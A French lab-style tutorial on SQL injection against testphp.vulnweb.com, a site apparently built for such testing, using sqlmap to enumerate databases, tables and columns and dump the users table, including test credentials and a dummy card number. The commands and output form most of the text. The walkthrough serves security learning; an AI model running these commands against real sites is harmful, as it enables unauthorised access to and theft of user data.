SQLMAP

On va ici tenter de pénétrer un site web (prévu à cet effet) pour tester des attaques par injections SQL. Notamment avec l'utilisation du logiciel SQLMAP.

Présentation du site

preview du site

C'est un site qui regroupe des artistes par catégorie, avec des descriptions par artistes etc. et il est sensible aux injections SQL.

On peut vérifier cette sensibilité en ajoutant un guillemet simple à la fin de l'url, car il retourne une erreur sql.

À l'aide de SQLMAP

1. On commence par taper la commande suivante pour lister toutes les databases utilisées à cette url (on prend ici une url depuis la page d'un artiste) :

$ sudo sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs 

Vous devriez avoir à la fin du processus, quelque chose comme ça :

[21:23:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12

[21:23:03] [INFO] fetching database names
available databases [2]:

[*] acuart
[*] information_schema

On remarque ainsi la présence de 2 databases pour cette url.

2. À partir de la, on peut récupérer le nom des tables des databases que l'on souhaite, par exemple ici la database acuart, avec la commande :

$ sudo sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D acuart

Vous obtiendrai à la fin de ce processus, le nom des tables de la database acuart :

[21:28:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12

[21:28:51] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists   |
| carts     |
| categ     |
| featured  |
| guestbook |
| pictures  |
| products  |
| users     |
+-----------+

3. Notre but étant de pouvoir obtenir les informations des utilisateurs, on va s'intéresser à la table users, et afficher ses attributs :

$ sudo sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -D acuart -T users

Vous obtiendrai finalement le descriptif des attributs de la tables users, de la database acuart :

[21:34:10] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.40, Nginx 1.19.0
back-end DBMS: MySQL >= 5.0.12

[21:34:10] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column  | Type         |
+---------+--------------+
| address | mediumtext   |
| cart    | varchar(100) |
| cc      | varchar(100) |
| email   | varchar(100) |
| name    | varchar(100) |
| pass    | varchar(100) |
| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+

4. Maintenant, il ne nous reste plus qu'à afficher les données de la table :

$ sudo sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -D acuart -T users

Résultat :

Database: acuart
Table: users
[1 entry]
+---------------------+----------------------------------+--------------------------------------------------+------+-----------------+---------+-------+-----------+
| cc                  | cart                             | name                                             | pass | email           | phone   | uname | address   |
+---------------------+----------------------------------+--------------------------------------------------+------+-----------------+---------+-------+-----------+
| 1234-5678-2300-9000 | 5d85445a2a1e07611dfd51f20ef36758 | 1}"acxzzzzzzzzbbbccccdddeeexca".replace("z","o") | test | email@email.com | 2323345 | test  | 21 street |
+---------------------+----------------------------------+--------------------------------------------------+------+-----------------+---------+-------+-----------+

On peut donc voir que la table users contient un utilisateur dont l'identifiant et le mot de passe sont 'test'.

Mis à jour

Ce contenu vous a-t-il été utile ?